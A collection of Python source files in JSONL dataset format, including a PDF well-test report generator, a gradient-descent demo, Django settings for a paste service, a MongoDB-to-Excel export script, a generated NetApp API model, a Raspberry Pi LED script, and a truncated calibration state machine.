print(folder + ': ' + str(folder_contents))\n assert len(folder_contents) == 1\n assert folder_contents[0] == folder + '.jpg'\n\nprint('Process finished successfully!')\n","sub_path":"tecdoc/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"167421804","text":"import os\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.lib.utils import ImageReader\nfrom reportlab.platypus import Table, TableStyle\nfrom reportlab.lib import colors\nfrom reportlab.lib.pagesizes import A4\n\n\n\ndef pdf(cvs, well, field, lay, date, fig, vdp, elong, ro, ppl, data, emited):\n def cyrillic(c, n):\n fname = 'font'\n faceName = 'TimesNewRomanPSMT'\n cyrFace = pdfmetrics.EmbeddedType1Face(fname + '.afm', fname + '.pfb')\n cyrEnc = pdfmetrics.Encoding('CP1251')\n cp1251 = (\n 'afii10051', 'afii10052', 'quotesinglbase', 'afii10100', 'quotedblbase',\n 'ellipsis', 'dagger', 'daggerdbl', 'Euro', 'perthousand', 'afii10058',\n 'guilsinglleft', 'afii10059', 'afii10061', 'afii10060', 'afii10145',\n 'afii10099', 'quoteleft', 'quoteright', 'quotedblleft', 'quotedblright',\n 'bullet', 'endash', 'emdash', 'tilde', 'trademark', 'afii10106',\n 'guilsinglright', 'afii10107', 'afii10109', 'afii10108', 'afii10193',\n 'space', 'afii10062', 'afii10110', 'afii10057', 'currency', 'afii10050',\n 'brokenbar', 'section', 'afii10023', 'copyright', 'afii10053',\n 'guillemotleft', 'logicalnot', 'hyphen', 'registered', 'afii10056',\n 'degree', 'plusminus', 'afii10055', 'afii10103', 'afii10098', 'mu1',\n 'paragraph', 'periodcentered', 'afii10071', 'afii61352', 'afii10101',\n 'guillemotright', 'afii10105', 'afii10054', 'afii10102', 'afii10104',\n 'afii10017', 'afii10018', 'afii10019', 'afii10020', 'afii10021',\n 'afii10022', 'afii10024', 'afii10025', 'afii10026', 'afii10027',\n 'afii10028', 'afii10029', 'afii10030', 'afii10031', 'afii10032',\n 'afii10033', 'afii10034', 'afii10035', 'afii10036', 'afii10037',\n 'afii10038', 'afii10039', 'afii10040', 'afii10041', 'afii10042',\n 'afii10043', 'afii10044', 'afii10045', 'afii10046', 'afii10047',\n 'afii10048', 'afii10049', 'afii10065', 'afii10066', 'afii10067',\n 'afii10068', 'afii10069', 'afii10070', 'afii10072', 'afii10073',\n 'afii10074', 'afii10075', 'afii10076', 'afii10077', 'afii10078',\n 'afii10079', 'afii10080', 'afii10081', 'afii10082', 'afii10083',\n 'afii10084', 'afii10085', 'afii10086', 'afii10087', 'afii10088',\n 'afii10089', 'afii10090', 'afii10091', 'afii10092', 'afii10093',\n 'afii10094', 'afii10095', 'afii10096', 'afii10097'\n )\n for i in range(128, 256):\n cyrEnc[i] = cp1251[i - 128]\n pdfmetrics.registerEncoding(cyrEnc)\n pdfmetrics.registerTypeFace(cyrFace)\n pdfmetrics.registerFont(pdfmetrics.Font(faceName + '1251', faceName, 'CP1251'))\n c.setFont(faceName + '1251', n)\n\n cvs.drawImage(os.getcwd() + \"\\\\logo.png\", 8, 715, width=580, height=107)\n cyrillic(cvs, 18)\n cvs.drawString(130, 500, \"Отчет по гидродинамическому исследованию\")\n cyrillic(cvs, 14)\n cvs.drawString(180, 400, \"Cкважина №: \" + str(well))\n cvs.drawString(180, 375, \"Месторождение: \" + str(field))\n cvs.drawString(180, 350, \"Пласт(ы): \" + str(lay))\n cvs.drawString(180, 325, \"Цель исследования: Рпл и Тпл\")\n cvs.drawString(180, 300, \"Дата исследования: \" + str(date))\n cvs.showPage()\n img = ImageReader(fig)\n cvs.drawImage(img, 8, 400, width=580, height=450)\n cyrillic(cvs, 14)\n cvs.drawString(120, 375,\n \"Глубина ВДП: \" + str(vdp) + \" м\")\n cvs.drawString(120, 350,\n \"Удлинение на ВДП: \" + str(elong) + \" м\")\n cvs.drawString(120, 325, \"Средняя плотность в расчет: \" + str(ro) + \" т/м3\")\n cvs.drawString(120, 300, \"Пластовое давление на ВДП: \" + str(ppl) + \" ат.\")\n cvs.showPage()\n data.insert(0, ['Depth, m', 'Elongation, m', 'Pressure, at.', 'Temperature, °C', 'Density, tonne/m3', 'Fluid type'])\n t = Table(data)\n height = 25 * len(data)\n style = [('FONT', (0, 0), (-1, -1), 'Times-Roman', 14),\n ('TEXTCOLOR', (1, 1), (-1, -1), colors.black),\n ('ALIGN', (0, 0), (-1, -1), 'CENTER'),\n ('INNERGRID', (0, 0), (-1, -1), 0.25, colors.black),\n ('BOX', (0, 0), (-1, -1), 0.25, colors.black)]\n for e in emited:\n style.append(('BACKGROUND', (0, e + 1), (-1, e + 1), colors.green))\n style = TableStyle(style)\n t.setStyle(style)\n t.wrapOn(cvs, 500, height)\n t.drawOn(cvs, 40, A4[1] - height)\n cvs.save()\n","sub_path":"Report.py","file_name":"Report.py","file_ext":"py","file_size_in_byte":4911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"134446523","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass SteepestDescent():\n def __init__(self, function, gradient, initial_point, learning_rate):\n self.lr = learning_rate\n self.x_0 = initial_point\n self.x_temp = self.x_0\n self.function = function\n self.gradient_function = gradient\n self.gradient_value_current = self.gradient_function(self.x_0)\n\n def process(self, return_trajectory=False, hessian_matrix=None):\n trajectory = []\n if return_trajectory:\n trajectory.append(self.x_temp)\n while not self.terminate_test():\n if hessian_matrix is not None:\n self.mininmizing_alone_a_line(hessian_matrix)\n x_current = self.x_temp - self.lr*self.gradient_value_current\n if self.function(self.x_temp) <= self.function(x_current):\n print('Algorithm diverge! stop the process!')\n return False, trajectory\n self.x_temp = x_current\n self.gradient_value_current = self.gradient_function(self.x_temp)\n if return_trajectory:\n trajectory.append(self.x_temp)\n print(self.x_temp)\n if return_trajectory:\n return True,trajectory\n return True,None\n\n def mininmizing_alone_a_line(self,A):\n p = -self.gradient_value_current.transpose()\n self.lr=-(self.gradient_value_current.dot(p))/(p.transpose().dot(A).dot(p))\n\n def terminate_test(self, threshold_zero=0.001):\n function_value_delta = np.abs(self.function(self.x_temp)-\n self.function(self.lr*self.gradient_value_current))\n if function_value_delta >= threshold_zero:\n return False\n return True\n\n\ndef function(x):\n return (x[0]**2+x[1]**2+x[0]*x[1])\n\ndef function_g(x):\n return np.array([2*x[0]+x[1], x[0]+2*x[1]])\n\n\nif __name__ == '__main__':\n n = 400\n x = np.linspace(-1, 1, n)\n y = np.linspace(-1, 1, n)\n\n X, Y = np.meshgrid(x, y)\n x_0 = np.array([0.8,-0.25])\n lr = 0.041\n sd = SteepestDescent(function, function_g, x_0, lr)\n flag, trajectory = sd.process(return_trajectory=True,hessian_matrix=np.array([[2,1],[1,2]]))\n plt.figure(figsize=(8, 6))\n Z=[0.02,0.06,0.1,0.14,0.18,0.4,0.8,1.2,1.6,2.0,4,6,8,10,12]\n C = plt.contour(X, Y, function([X, Y]), Z, alpha=0.7, cmap=plt.cm.hot)\n plt.clabel(C, inline=True, fontsize=10)\n x_0_last = 0\n x_1_last = 0\n loop_i = 0\n for x in trajectory:\n plt.scatter(x[0], x[1], c='b', marker='x', alpha=0.7)\n if x_0_last != 0 and x_1_last != 0:\n plt.plot([x[0], x_0_last], [x[1], x_1_last], c='g', linestyle='-.', linewidth=2, alpha=0.7)\n x_0_last = x[0]\n x_1_last = x[1]\n plt.savefig('contour_plot_' + str(loop_i) + '.png')\n loop_i = loop_i+1\n plt.show()","sub_path":"PerformanceOptimization/SteepestDescent.py","file_name":"SteepestDescent.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"173962196","text":"# -*- coding: utf-8 -*-\n\nimport getconf\nimport os\nimport re\n\nfrom django.core.exceptions import ImproperlyConfigured\n\n\n# Paths\n# =====\nBASE_DIR = os.path.dirname(__file__)\nCHECKOUT_DIR = os.path.dirname(BASE_DIR)\n\n\n# Global configuration\n# ====================\n\nconfig = getconf.ConfigGetter('xelpaste', [\n '/etc/xelpaste/*.ini',\n os.path.join(CHECKOUT_DIR, 'local_settings.ini'),\n ])\n\n\nAPPMODE = config.get('app.mode', 'prod')\nassert APPMODE in ('dev', 'dist', 'prod'), \"Invalid application mode %s\" % APPMODE\n\n\n# Generic Django settings\n# =======================\n\n# SECURITY WARNING: keep the secret key used in production secret!\nif APPMODE == 'dev':\n _default_secret_key = \"Dev Only !!\"\nelse:\n _default_secret_key = ''\n\nSECRET_KEY = config.getstr('app.secret_key', _default_secret_key)\n\nif APPMODE == 'dist':\n SECRET_KEY = \"Dist\"\n\n\n# Debug\n# =====\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = config.getbool('app.debug', APPMODE == 'dev')\nTEMPLATE_DEBUG = DEBUG\n\nif config.get('site.admin_mail'):\n ADMINS = (\n (\"Xelpaste admins\", config.get('site.admin_mail')),\n )\nSERVER_EMAIL = config.get('site.admin_mail_from', 'root@localhost')\n\n\n\n# URLs\n# ====\n\nif APPMODE == 'dev':\n _default_url = 'http://example.org/'\nelse:\n _default_url = ''\n\nALLOWED_HOSTS = config.getlist('site.allowed_hosts')\nLIBPASTE_SITENAME = config.get('site.name')\nLIBPASTE_BASE_URL = config.get('site.base_url', _default_url)\n\nif APPMODE != 'dist' and not LIBPASTE_BASE_URL.endswith('/'):\n raise ImproperlyConfigured(\"site.base_url must end with a /, got %r\" % LIBPASTE_BASE_URL)\n\n\n# Loadable components\n# ===================\n\nINSTALLED_APPS = (\n 'django.contrib.staticfiles',\n 'django.contrib.sessions',\n\n 'mptt',\n 'libpaste',\n 'xelpaste',\n)\n\nMIDDLEWARE = (\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.request',\n 'libpaste.context_processors.libpaste_settings',\n ],\n },\n },\n]\n\nROOT_URLCONF = 'xelpaste.urls'\n\nif APPMODE == 'dev':\n # Avoid the need for collectstatic before running tests\n STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'\nelse:\n STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.ManifestStaticFilesStorage'\n\n\n# Database\n# ========\n\nDEFAULT_AUTO_FIELD = 'django.db.models.AutoField'\n\n_ENGINE_MAP = {\n 'sqlite': 'django.db.backends.sqlite3',\n 'mysql': 'django.db.backends.mysql',\n 'postgresql': 'django.db.backends.postgresql_psycopg2',\n}\n_engine = config.get('db.engine', 'sqlite')\nif _engine not in _ENGINE_MAP:\n raise ImproperlyConfigured(\n \"DB engine %s is unknown; please choose from %s\"\n % (_engine, ', '.join(sorted(_ENGINE_MAP.keys())))\n )\nif _engine == 'sqlite':\n if APPMODE == 'dev':\n _default_db_name = os.path.join(CHECKOUT_DIR, 'dev', 'db.sqlite')\n else:\n _default_db_name = '/var/lib/xelpaste/db.sqlite'\nelse:\n _default_db_name = 'xelpaste'\n\n\nDATABASES = {\n 'default': {\n 'ENGINE': _ENGINE_MAP[_engine],\n 'NAME': config.get('db.name', _default_db_name),\n 'HOST': config.get('db.host'),\n 'PORT': config.get('db.port'),\n 'USER': config.get('db.user'),\n 'PASSWORD': config.get('db.password'),\n }\n}\n\n# Internationalization\n# ====================\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# ======================================\n\nSTATIC_URL = config.get('site.assets_url', '/assets/')\nSTATIC_ROOT = os.path.join(BASE_DIR, 'assets')\n\n\n# Uploads\n# =======\n\nif APPMODE == 'dev':\n _default_media = os.path.join(CHECKOUT_DIR, 'dev', 'media')\nelse:\n _default_media = ''\n\nMEDIA_ROOT = config.get('uploads.dir', _default_media)\nLIBPASTE_UPLOAD_TO = 'snippets'\nSENDFILE_BACKEND = 'django_sendfile.backends.%s' % config.get('uploads.serve', 'simple')\nSENDFILE_ROOT = os.path.join(MEDIA_ROOT, LIBPASTE_UPLOAD_TO)\nSENDFILE_URL = config.get('uploads.internal_url', '/uploads/')\n\n\n\n# Snippets\n# ========\n\n\ndef parse_size(size):\n \"\"\"Parse a size, kinda like 10MB, and return an amount of bytes.\"\"\"\n size_re = re.compile(r'^(\\d+)([GMK]?B)$')\n match = size_re.match(size.upper())\n if not match:\n raise ValueError(\"Invalid size %r\" % size)\n amount, unit = match.groups()\n amount = int(amount)\n if unit == 'GB':\n return amount * 1024 * 1024 * 1024\n elif unit == 'MB':\n return amount * 1024 * 1024\n elif unit == 'kB':\n return amount * 1024\n else:\n return amount\n\n\nLIBPASTE_MAX_CONTENT_LENGTH = parse_size(config.get('snippets.max_content', '1MB'))\nLIBPASTE_MAX_FILE_LENGTH = parse_size(config.get('snippets.max_file', '10MB'))\nLIBPASTE_SLUG_LENGTH = config.getint('snippets.slug_length', 6)\n","sub_path":"xelpaste/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"459207591","text":"import os\nimport time\nimport datetime\nimport xlsxwriter\nfrom bson import ObjectId\nfrom commons.utilities import Utilities\nfrom config import db_info\n\n\nclass Excel:\n __result_data = [{'id': 'Id', 'scannerId': 'ScannerId', 'seq': 'Seq', 'studentCount': 'Student Count',\n 'studentCount-error-chars': 'StudentCount Error Chars', 'parentCount': 'Parent Count',\n 'parentCount-error-chars': 'Parent Count Error Chars', 'stipendAmount': 'Stipend Amount',\n 'stipendAmount-error-chars': 'Stipend Amount Error Chars', 'dsCount': 'DS Count',\n 'dsCount-error-chars': 'DSCount Error Chars', 'kycCount': 'KYC Count', 'kycCount-error-chars':\n 'KYC Count Error Chars'}]\n __reportOutputDirectoryName = ''\n\n def __init__(self, result_data):\n self.__reportOutputDirectoryName = 'non-digit-cleaning-report'\n if not os.path.exists(self.__reportOutputDirectoryName):\n os.makedirs(self.__reportOutputDirectoryName)\n for data in result_data:\n self.__result_data.append(data)\n\n def __add_data_to_worksheet(self, worksheet):\n row = 0\n if self.__result_data.__len__() > 1:\n for data in self.__result_data:\n column = 0\n worksheet.write(row, column, str(data['id']))\n column += 1\n worksheet.write(row, column, data['scannerId'])\n column += 1\n worksheet.write(row, column, data['seq'])\n if 'studentCount' in data:\n column += 1\n worksheet.write(row, column, data['studentCount'])\n column += 1\n worksheet.write(row, column, data['studentCount-error-chars'])\n else:\n column += 1\n worksheet.write(row, column, '')\n column += 1\n worksheet.write(row, column, '')\n if 'parentCount' in data:\n column += 1\n worksheet.write(row, column, data['parentCount'])\n column += 1\n worksheet.write(row, column, data['parentCount-error-chars'])\n else:\n column += 1\n worksheet.write(row, column, '')\n column += 1\n worksheet.write(row, column, '')\n if 'stipendAmount' in data:\n column += 1\n worksheet.write(row, column, data['stipendAmount'])\n column += 1\n worksheet.write(row, column, data['stipendAmount-error-chars'])\n else:\n column += 1\n worksheet.write(row, column, '')\n column += 1\n worksheet.write(row, column, '')\n if 'dsCount' in data:\n column += 1\n worksheet.write(row, column, data['dsCount'])\n column += 1\n worksheet.write(row, column, data['dsCount-error-chars'])\n else:\n column += 1\n worksheet.write(row, column, '')\n column += 1\n worksheet.write(row, column, '')\n if 'kycCount' in data:\n column += 1\n worksheet.write(row, column, data['kycCount'])\n column += 1\n worksheet.write(row, column, data['kycCount-error-chars'])\n else:\n column += 1\n worksheet.write(row, column, '')\n column += 1\n worksheet.write(row, column, '')\n\n row += 1\n\n def create_excel(self):\n file_name = self.__reportOutputDirectoryName + \"/non-digit-data-list\" + str(time.strftime(\"%d%m%Y\")) + str(\n time.strftime(\"%I%M%S\") + \".xlsx\")\n workbook = xlsxwriter.Workbook(file_name)\n worksheet = workbook.add_worksheet()\n self.__add_data_to_worksheet(worksheet)\n workbook.close()\n print('excel created')\n\n\nclass UpdateValidatedRows:\n __db = db_info.get_live_read_only__db()\n __collection = __db.top_sheets\n __result_data = []\n __object_id_list = []\n\n def __init__(self):\n pass\n\n def get_error_data(self):\n pipeline = [\n {\n '$match': {\n 'dataStatus': 'VALID'\n }\n },\n\n {\n '$project': {\n '_id': 1,\n 'scannerId': '$scannerId',\n 'seq': '$seq',\n 'studentCount': '$studentCount.modified',\n 'parentCount': '$parentCount.modified',\n 'stipendAmount': '$stipendAmount.modified',\n 'dsCount': '$dsCount.modified',\n 'kycCount': '$kycCount.modified'\n }\n }\n ]\n for top_sheet in self.__collection.aggregate(pipeline):\n temp_dict = {'id': top_sheet['_id'], 'scannerId': top_sheet['scannerId'], 'seq': top_sheet['seq']}\n flag = False\n if 'studentCount' in top_sheet:\n student_count_non_digit = Utilities.get_non_digit_chars(top_sheet['studentCount'])\n if student_count_non_digit:\n flag = True\n temp_dict['stdntCount'] = top_sheet['studentCount']\n temp_dict['stdntCount-error-chars'] = student_count_non_digit\n if 'parentCount' in top_sheet:\n parent_count_non_digit = Utilities.get_non_digit_chars(top_sheet['parentCount'])\n if parent_count_non_digit:\n flag = True\n temp_dict['parentCount'] = top_sheet['parentCount']\n temp_dict['parentCount-error-chars'] = parent_count_non_digit\n if 'stipendAmount' in top_sheet:\n stipend_amount_non_digit = Utilities.get_non_digit_chars(top_sheet['stipendAmount'])\n if stipend_amount_non_digit:\n flag = True\n temp_dict['stipendAmount'] = top_sheet['stipendAmount']\n temp_dict['stipendAmount-error-chars'] = stipend_amount_non_digit\n if 'dsCount' in top_sheet:\n ds_count_non_digit = Utilities.get_non_digit_chars(top_sheet['dsCount'])\n if ds_count_non_digit:\n flag = True\n temp_dict['dsCount'] = top_sheet['dsCount']\n temp_dict['dsCount-error-chars'] = ds_count_non_digit\n if 'kycCount' in top_sheet:\n kyc_count_non_digit = Utilities.get_non_digit_chars(top_sheet['kycCount'])\n if kyc_count_non_digit:\n flag = True\n temp_dict['kycCount'] = top_sheet['kycCount']\n temp_dict['kycCount-error-chars'] = kyc_count_non_digit\n if flag:\n print('matched')\n print(temp_dict['id'])\n print(temp_dict)\n self.__result_data.append(temp_dict)\n self.__object_id_list.append(ObjectId(temp_dict['id']))\n print('objectId length: ' + str(self.__object_id_list.__len__()))\n return self.__result_data\n\nstart = datetime.datetime.now()\nobj = UpdateValidatedRows()\nexcel = Excel(obj.get_error_data())\nexcel.create_excel()\nprint('elapsed-time: ' + str(datetime.datetime.now()-start))\n","sub_path":"sts_sheet_mofification/update_non_digit_chars_for_vaidated_rows.py","file_name":"update_non_digit_chars_for_vaidated_rows.py","file_ext":"py","file_size_in_byte":7586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"120535321","text":"# coding: utf-8\n\n\"\"\"\nDriveChannelStatistics.py\n\n The Clear BSD License\n\n Copyright (c) – 2016, NetApp, Inc. All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below) provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\n * Neither the name of NetApp, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\n NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nfrom pprint import pformat\nfrom six import iteritems\n\n\nclass DriveChannelStatistics(object):\n \"\"\"\n NOTE: This class is auto generated by the swagger code generator program.\n Do not edit the class manually.\n \"\"\"\n def __init__(self):\n \"\"\"\n DriveChannelStatistics - a model defined in Swagger\n\n :param dict swaggerTypes: The key is attribute name\n and the value is attribute type.\n :param dict attributeMap: The key is attribute name\n and the value is json key in definition.\n \"\"\"\n self.swagger_types = {\n 'start_time_stamp': 'int', # (required parameter)\n 'end_time_stamp': 'int', # (required parameter)\n 'total_io_count': 'int', # (required parameter)\n 'total_io_error_count': 'int', # (required parameter)\n 'link_status': 'str', # (required parameter)\n 'error_counts': 'DriveChannelErrorCounts'\n }\n\n self.attribute_map = {\n 'start_time_stamp': 'startTimeStamp', # (required parameter)\n 'end_time_stamp': 'endTimeStamp', # (required parameter)\n 'total_io_count': 'totalIoCount', # (required parameter)\n 'total_io_error_count': 'totalIoErrorCount', # (required parameter)\n 'link_status': 'linkStatus', # (required parameter)\n 'error_counts': 'errorCounts'\n }\n\n self._start_time_stamp = None\n self._end_time_stamp = None\n self._total_io_count = None\n self._total_io_error_count = None\n self._link_status = None\n self._error_counts = None\n\n @property\n def start_time_stamp(self):\n \"\"\"\n Gets the start_time_stamp of this DriveChannelStatistics.\n The time stamp of when the error tracking began.\n\n :return: The start_time_stamp of this DriveChannelStatistics.\n :rtype: int\n :required/optional: required\n \"\"\"\n return self._start_time_stamp\n\n @start_time_stamp.setter\n def start_time_stamp(self, start_time_stamp):\n \"\"\"\n Sets the start_time_stamp of this DriveChannelStatistics.\n The time stamp of when the error tracking began.\n\n :param start_time_stamp: The start_time_stamp of this DriveChannelStatistics.\n :type: int\n \"\"\"\n self._start_time_stamp = start_time_stamp\n\n @property\n def end_time_stamp(self):\n \"\"\"\n Gets the end_time_stamp of this DriveChannelStatistics.\n The time stamp of when the error tracking ended.\n\n :return: The end_time_stamp of this DriveChannelStatistics.\n :rtype: int\n :required/optional: required\n \"\"\"\n return self._end_time_stamp\n\n @end_time_stamp.setter\n def end_time_stamp(self, end_time_stamp):\n \"\"\"\n Sets the end_time_stamp of this DriveChannelStatistics.\n The time stamp of when the error tracking ended.\n\n :param end_time_stamp: The end_time_stamp of this DriveChannelStatistics.\n :type: int\n \"\"\"\n self._end_time_stamp = end_time_stamp\n\n @property\n def total_io_count(self):\n \"\"\"\n Gets the total_io_count of this DriveChannelStatistics.\n The total number of I/Os.\n\n :return: The total_io_count of this DriveChannelStatistics.\n :rtype: int\n :required/optional: required\n \"\"\"\n return self._total_io_count\n\n @total_io_count.setter\n def total_io_count(self, total_io_count):\n \"\"\"\n Sets the total_io_count of this DriveChannelStatistics.\n The total number of I/Os.\n\n :param total_io_count: The total_io_count of this DriveChannelStatistics.\n :type: int\n \"\"\"\n self._total_io_count = total_io_count\n\n @property\n def total_io_error_count(self):\n \"\"\"\n Gets the total_io_error_count of this DriveChannelStatistics.\n The total number of I/O errors.\n\n :return: The total_io_error_count of this DriveChannelStatistics.\n :rtype: int\n :required/optional: required\n \"\"\"\n return self._total_io_error_count\n\n @total_io_error_count.setter\n def total_io_error_count(self, total_io_error_count):\n \"\"\"\n Sets the total_io_error_count of this DriveChannelStatistics.\n The total number of I/O errors.\n\n :param total_io_error_count: The total_io_error_count of this DriveChannelStatistics.\n :type: int\n \"\"\"\n self._total_io_error_count = total_io_error_count\n\n @property\n def link_status(self):\n \"\"\"\n Gets the link_status of this DriveChannelStatistics.\n The status of the link - up, down, failed\n\n :return: The link_status of this DriveChannelStatistics.\n :rtype: str\n :required/optional: required\n \"\"\"\n return self._link_status\n\n @link_status.setter\n def link_status(self, link_status):\n \"\"\"\n Sets the link_status of this DriveChannelStatistics.\n The status of the link - up, down, failed\n\n :param link_status: The link_status of this DriveChannelStatistics.\n :type: str\n \"\"\"\n allowed_values = [\"none\", \"up\", \"down\", \"failed\", \"__UNDEFINED\"]\n if link_status not in allowed_values:\n raise ValueError(\n \"Invalid value for `link_status`, must be one of {0}\"\n .format(allowed_values)\n )\n self._link_status = link_status\n\n @property\n def error_counts(self):\n \"\"\"\n Gets the error_counts of this DriveChannelStatistics.\n The error category counts.\n\n :return: The error_counts of this DriveChannelStatistics.\n :rtype: DriveChannelErrorCounts\n :required/optional: required\n \"\"\"\n return self._error_counts\n\n @error_counts.setter\n def error_counts(self, error_counts):\n \"\"\"\n Sets the error_counts of this DriveChannelStatistics.\n The error category counts.\n\n :param error_counts: The error_counts of this DriveChannelStatistics.\n :type: DriveChannelErrorCounts\n \"\"\"\n self._error_counts = error_counts\n\n def to_dict(self):\n \"\"\"\n Returns the model properties as a dict\n \"\"\"\n result = {}\n\n for attr, _ in iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"\n Returns the string representation of the model\n \"\"\"\n return pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"\n For `print` and `pprint`\n \"\"\"\n if self is None:\n return None\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"\n Returns true if both objects are equal\n \"\"\"\n if self is None or other is None:\n return None\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"\n Returns true if both objects are not equal\n \"\"\"\n return not self == other\n\n","sub_path":"netapp/santricity/models/symbol/drive_channel_statistics.py","file_name":"drive_channel_statistics.py","file_ext":"py","file_size_in_byte":9381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"140145775","text":"from time import sleep\nimport RPi.GPIO as gp\n\nred = 21\ngreen = 20\nblue = 16\n\ngp.setmode(gp.BCM)\n\nrunning = True\n\ngp.setup(red, gp.OUT)\ngp.setup(green, gp.OUT)\ngp.setup(blue, gp.OUT)\n\nfreq = 100\n\nRED = gp.PWM(red, freq)\nGREEN = gp.PWM(green, freq)\nBLUE = gp.PWM(blue, freq)\n\ntry:\n while running:\n RED.start(100)\n GREEN.start(1)\n BLUE.start(1)\n\n for i in range(1, 101):\n GREEN.ChangeDutyCycle(101-i)\n sleep(0.025)\n\n for i in range(1, 101):\n RED.ChangeDutyCycle(i)\n sleep(0.025)\n\n for i in range(1, 101):\n BLUE.ChangeDutyCycle(101-i)\n sleep(0.025)\n \nexcept KeyboardInterrupt:\n running = False\n gp.cleanup()\n \n","sub_path":"Aditya RPi/rgbLED-neg.py","file_name":"rgbLED-neg.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"473904534","text":"import enum\nfrom typing import TypeVar, Generic, Type, Dict\n\n\nclass CalibrationCheckState(enum.Enum):\n sessionStart = enum.auto()\n specifyLabware = enum.auto()\n pickUpTip = enum.auto()\n checkPointOne = enum.auto()\n checkPointTwo = enum.auto()\n checkPointThree = enum.auto()\n checkHeight = enum.auto()\n sessionExit = enum.auto()\n badDeckCalibration = enum.auto()\n noPipettesAttached = enum.auto()\n\n\ncheck_normal_relationship_dict = {\n CalibrationCheckState.sessionStart: CalibrationCheckState.specifyLabware,\n CalibrationCheckState.specifyLabware: CalibrationCheckState.pickUpTip,\n CalibrationCheckState.checkPointOne: CalibrationCheckState.checkPointTwo,\n CalibrationCheckState.checkPointTwo: CalibrationCheckState.checkPointThree,\n CalibrationCheckState.checkPointThree: CalibrationCheckState.checkHeight,\n CalibrationCheckState.checkHeight: CalibrationCheckState.sessionStart\n\n}\n\nexit = CalibrationCheckState.sessionExit\ncheck_exit_relationship_dict = {\n CalibrationCheckState.badDeckCalibration: exit,\n CalibrationCheckState.checkHeight: exit,\n CalibrationCheckState.noPipettesAttached: exit\n}\n\nnopips = CalibrationCheckState.noPipettesAttached\nbadcal = CalibrationCheckState.badDeckCalibration\ncheck_error_relationship_dict = {\n CalibrationCheckState.sessionStart: nopips,\n CalibrationCheckState.specifyLabware: badcal,\n CalibrationCheckState.checkPointOne: badcal,\n CalibrationCheckState.checkPointTwo: badcal,\n CalibrationCheckState.checkPointThree: badcal,\n CalibrationCheckState.checkHeight: badcal\n}\n\n\nStateEnumType = TypeVar('StateEnumType', bound=enum.Enum)\nRelationship = Dict[StateEnumType, StateEnumType]\n\n\nclass StateMachine(Generic[StateEnumType]):\n \"\"\"\n A class for building a mealy state machine pattern based on\n steps provided to this class.\n \"\"\"\n def __init__(\n self, states: Type[StateEnumType], rel: Relationship,\n exit: Relationship, error: Relationship,\n first_state: StateEnumType):\n self._states = states\n self._relationship = rel\n self._exit_relationship = exit\n self._error_relationship = error\n self._current_state = first_state\n\n def get_state(self, state_name: str) -> 